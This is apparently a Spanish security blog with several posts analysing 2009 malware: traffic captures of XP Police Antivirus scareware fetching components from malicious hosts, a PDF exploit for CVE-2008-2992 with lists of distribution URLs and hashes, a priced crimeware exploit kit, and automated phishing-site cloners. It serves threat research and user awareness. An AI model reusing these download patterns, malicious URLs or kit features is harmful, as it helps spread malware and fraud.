Estrategia de infección agresiva de XP Police Antivirus. Segunda parte

Desde el momento que se produce la infección de XP Police Antivirus, el usuario comenzará a visualizar en pantalla una serie de ventanas emergentes de alertas sobre falsas infecciones, entre otras.

Pero de manera completamente transparente, se van produciendo una serie de acciones tendientes a completar la obra del scareware.

A través de la escucha del tráfico, vemos la descarga de los siguientes componentes:

GET /setupc.dat HTTP/1.1
User-Agent: MS_Update32
Host: setupdatdownload.com

Descarga setup.dat que no es un archivo de datos sino que es un archivo comprimido que guarda una copia de los otros archivos que se descomprimen en C:\Archivos de programa\XPPoliceAntivirus.

GET /sysupdate.exe HTTP/1.1
User-Agent: MS_Update32
Host: setupdatdownload.com

Descarga sysupdate.exe (MD5: 36e13b0624dbd4bc973d1fd5f949ebe0) es utilizado para comprimir el malware en tiempo de ejecución para intentar evitar su detección por parte de programas antivirus.

GET /svchost32.exe HTTP/1.1
User-Agent: MS_Update32
Host: setupdatdownload.com

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 28 Feb 2009 12:47:46 GMT
Content-Type: application/octet-stream
Last-Modified: Fri, 27 Feb 2009 16:01:17 GMT
Accept-Ranges: bytes
Content-Length: 2746314
Connection: Keep-Alive
Age: 0

MZ......................@...............................................!..L.!This program cannot be run in DOS mode.

GET /land.txt HTTP/1.1
User-Agent: wget 3.0
Host: xp-police-09.com
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 28 Feb 2009 12:51:15 GMT
Content-Type: text/plain
Last-Modified: Mon, 02 Feb 2009 20:53:00 GMT
ETag: "3a58001-1-bd70a300"
Accept-Ranges: bytes
Content-Length: 1
Connection: Keep-Alive
Age: 0

2

GET /js/window.js HTTP/1.1
Accept: */*
Referer: http://www.xp-police-09.com/installed.php?id=108
Accept-Language: es
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.xp-police-09.com
Connection: Keep-Alive
Cookie: id=108

El JavaScript windows.js despliega en pantalla la ventana pop-up con la leyenda Thank you for Installation!

GET /buy.php?id=108 HTTP/1.1
Accept: */*
Accept-Language: es
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.xp-police-09.com
Connection: Keep-Alive
Cookie: id=108

Esta es la página de compra del scareware desde donde se solicita información sensible y financiera de la víctima. Es un scam/phishing.

Las maniobras empleadas por los códigos maliciosos son cada vez más agresivas y eficaces en cuanto a sus acciones ya que, como se pudo apreciar, el instalador que se descarga en primera instancia, es sólo una parte del rompecabezas desde el cual el scareware obtiene las demás piezas.

Información relacionada
Estrategia de infección agresiva de XP Police Antivirus
Campaña de propagación de XP Police Antivirus a través de Ingeniería Social Visual
Una recorrida por los últimos scareware IV

# pistus

Ver más

Explotación de vulnerabilidades a través de archivos PDF

Explotar debilidades en determinadas aplicaciones de uso masivo, es en la actualidad uno de los vectores de ataque por malware más empleados; y en este sentido ya he posteado la explotación de vulnerabilidades varias a través de SWF y JS.

En este caso, el objetivo del atacante es encontrar equipos con Adobe Acrobat y Adobe Reader vulnerables a un ataque de Desbordamiento de Búfer (Buffer Overflow), descrito en CVE-2008-2992.

La cuestión es que, un ejemplo concreto lo constituye la dirección http://prororo7.net/sp/index .php. Al acceder a esta URL maliciosa, no se visualiza absolutamente nada pero, en segundo plano, el código exploit explotará el error mencionado en caso de encontrarlo.

En este ejemplo, se descarga y ejecuta de manera remota y arbitraria un malware a través del archivo f.pdf (MD5: 2de9de23f9db1e7b1e39d0481a372399) empleando la función util.printf de Java Script.

El código malicioso se manifiesta bajo el nombre load.exe (MD5: a6e317f29966fa9e2025f29c7d414c0a) y es descargado desde http://prororo7 .net/sp/l.php?b=4&s=P.

Lamentablemente, el archivo PDF es constantemente manipulado por quienes lo propagan para evitar la detección por parte de los programas antivirus, y porqué digo "lamentablemente", por que el índice de detección que este PDF malicioso posee hasta el momento es extremadamente bajo. Tal cual lo podemos observar en el reporte que devuelve VirusTotal, sólo cinco (5) compañías AV de un total de 39 previenen su infección.

Una situación similar se da con el archivo doc.pdf (MD5: 5fa343ebca2dd5a35b38644b81fe0485) que es llamado desde http://toureg-cwo .ch/fta/index.php, y que descarga el archivo 1.exe (MD5: 5c581054fbce67688d2666ac18c7f540) cuya tasa de detección es aún más baja que el anterior (4/39).

Muchas son las direcciones web que se están utilizando de manera activa para propagar malware:

tozxiqud .cn/nuc/spl/pdf .pdf
teirkmm .net/nuc/spl/pdf .pdf
hayboxiw .cn/nuc/spl/pdf .pdf
www.ffseik .com/nuc/spl/pdf .pdf
www.kuplon .biz/smun/pdf .php?id=2435&vis=1
www.geodll .biz/ar/spl/pdf.pdf
setcontrol .biz/ar/spl/pdf .pdf
newprogress .tv/fo/spl/pdf .pdf
eddii .ru/traffic/sploit1/getfile .php?f=pdf
google-analytics.pbtgr .ru/pdf .php?id=48462
hardmoviesporno .com/rf/exp/update1 .pdf

Como verán, las probabilidades de ser víctimas de este tipo de estrategias de infección es alta; en consecuencia, es de suma importancia parchear lo antes posible, quienes utilicen, las aplicaciones de Adobe.

Información relacionada

Explotando vulnerabilidades a través de SWF
Explotación de vulnerabilidades a través de JS

# pistus

Ver más

Unique Sploits Pack. Crimeware para automatizar la explotación de vulnerabilidades

El desarrollo de herramientas automatizadas para cometer diferentes actos delictivos y/o maliciosos (crimeware), es otro de los tantos negocios que se establecen en torno al mundo oscuro, y no tan oscuro, de lo informático.

Unique Pack es un ejemplo más. Un paquete de origen ruso diseñado para permitir explotar diferentes vulnerabilidades en muchas de las aplicaciones más utilizadas por los usuarios al precio de U$S 600, más U$S 100 cada actualización.

Los paquetes que incluye Unique Pack son:

• Exploits para MDAC (recientemente actualizado) Office (actualizado) y otros que proporcionan la base de muestras para Internet Explorer desde la versión 4 hasta la 7, Opera 9 y Firefox.
• Exploit para Adobe Reader. Vulnerabilidad CVE-2008-2992.
• Exploits para PDF SPL (v.8.1.2 vulnerabilidad a partir del 05 noviembre de 2008) mejorado para su ejecución a través de Internet Explorer, Opera y Firefox.
• Exploit para el navegador web Amaya 11.
• Módulo que proporciona una versión vulnerable de Adobe Acrobat Reader.
• Módulo "mod_vparivatel" diseñado para explotar el factor humano a través de Ingeniería Social intentando que el usuario descargue el código malicioso.
• Módulo "vparivate" que intenta infectar los equipos de potenciales víctimas a través de Ingeniería Social desplegando la descarga de un falso antivirus (scareware).
• Módulo de cifrado. Opcional por U$S 50.

Según los creadores del paquete "Al adquirir este producto, Usted es el único responsable de su uso, así como de las consecuencias que pueden ocurrir como resultado de la utilización del producto con malos propósitos o con mala intención, o como resultado de violaciones de las normas de su funcionamiento. El autor no permite el despliegue de scripts en los espacios públicos de Internet, limitando su uso ambientes propios, máquinas virtuales, y dentro del laboratorio de pruebas de red. ¡ADVERTENCIA! El uso de este producto de software con el fin de llevar a malicioso la responsabilidad penal en virtud de los artículos del Código Penal!"

Este tipo de aplicaciones proporciona una base sólida para el ataque a través de malware ya que cada uno de los exploits, módulos y scripts que lo componen, estan intencionalmente creados para permitir la ejecución de código binario y de manera arbitraria en los equipos víctimas.

Información relacionada
Creación Online de malware polimórfico basado en PoisonIvy

# pistus

Ver más

Estrategia de infección agresiva de XP Police Antivirus

Luego de comentar sobre la campaña de Ingeniería Social visual empleada por el scareware XP Police Antivirus, nos encontramos con un condimento extra que también intenta explotar de lleno la Ingeniería Social en las características naturales del factor humano.

El mismo dominio desde donde se descarga del binario install.exe es empleado para diseminar otro troyano, a través de una falsa página de PornTube; codec.exe (MD5: a90e8a945f5cce31db00cac14a26418c), también perteneciente a la familia de XP Police Antivirus.

Al infectar el equipo, el troyano deja accesos directos en el escritorio del usuario que hacen referencia a los siguientes sitios web que se diseminan por spam:

Cheap Pharmacy Online >> http://www.quality-rx .com/?fid=1056
Cheap Software >> http://allisoftware .com
VIP Casino >> http://affiliate.goldvipclub .com/remote/SmartDownload.asp?affid=760
MP3 Download >> http://www. mp3sale .ru/?pid=507
SMS TRAP >> http://www.smstraper .com/go/MTEzOjA=/
Search Online >>http://www.adultwebfind .com/search .php?aid=16851&keyword=sex

Al acceder al acceso directo de VIP Casino se descarga el ejecutable SmartDownload.exe (MD5: 0f47f132f9e3d2790a6b27ffc2c502b0), y MP3 Download accede directamente al dominio http://xp-police-09 .com/lands/error/ desde donde se despliega una nueva estrategia de engaño simulando un error.

Al cabo de unos segundos, el usuario comenzará a experimentar el despliegue de ventanas emergentes con alertas sobre supuestas infecciones y solicitudes de registro del falso programa.

Sin embargo, hasta esta instancia, las acciones pueden ser vistas por la víctima, pero, en segundo plano siguen sucediendo otras acciones que involucran directamente la descarga de los componentes del scareware XP Police Antivirus.

Información relacionada
Campaña de propagación de XP Police Antivirus a través de Ingeniería Social Visual
Nueva estrategia de IS para diseminar scareware
Una recorrida por los últimos scareware IV

# pistus

Ver más

Phishing Kit. Creador automático de sitios fraudulentos

El ciberdelito se encuentra a la orden del día y los criminales informáticos depositan todos sus esfuerzos en sofisticar y automatizar sus estrategias delictivas para seguir alimentando toda la red de delincuentes que se nutren con los beneficios obtenidos a costa de los usuarios.

Una de las estafas más comunes hoy en día son los ataques de phishing donde uno de los métodos habitualmente empleados es la clonación de sitios web de entidades financieras y bancarias que buscan obtener datos sensibles a través del engaño expuesto sobre las debilidades del factor humano.

Sin embargo, la clonación de sitios web no siempre se encuentra limitada a páginas similares a las reales de las entidades bancarias sino que también pueden apuntar su cañón a sitios populares y conocidos como vimos en anteriores post.

Ahora, la pregunta es ¿cómo logran automatizar la creación de las páginas falsas?

Evidentemente, la respuesta ronda en programas que permiten crearlas de manera fácil y sencilla como al que pertenece la siguiente interfaz.

Estos programas permiten realizar la clonación de una página con un mínimo esfuerzo que se materializa en el simple hecho de copiar el código fuente de la web real, pasarlo al programa y hacer dos clics para obtener el sitio fraudulento, ofreciendo también la posibilidad de "tocar" el código y adaptarlo al beneficio que busque el atacante.

De esta manera logran obtener la estructura de archivos que comentábamos días atrás con la creación de un archivo de texto plano y un login.php, consiguiendo resultados como el siguiente que luego diseminan a través de Ingeniería Social.

Un sitio muy similar al legítimo donde prácticamente resulta muy difícil detectar el engaño para los usuarios menos experimentados en este tipo de estrategias delictivas.

Por otro lado, esto supone un riesgo latente ya que de esta manera, cometer estafas de este estilo no se limita a poseer conocimientos avanzados en informática sino que sólo basta con que una persona sepa copiar y pegar para obtener, a medida, su sitio fraudulento en pocos minutos.

Información relacionada
Phishing Kit In-the-Wild para clonación de sitios web, versión 2
Phishing Kit In-the-Wild para clonación de sitios web

# pistus

Ver más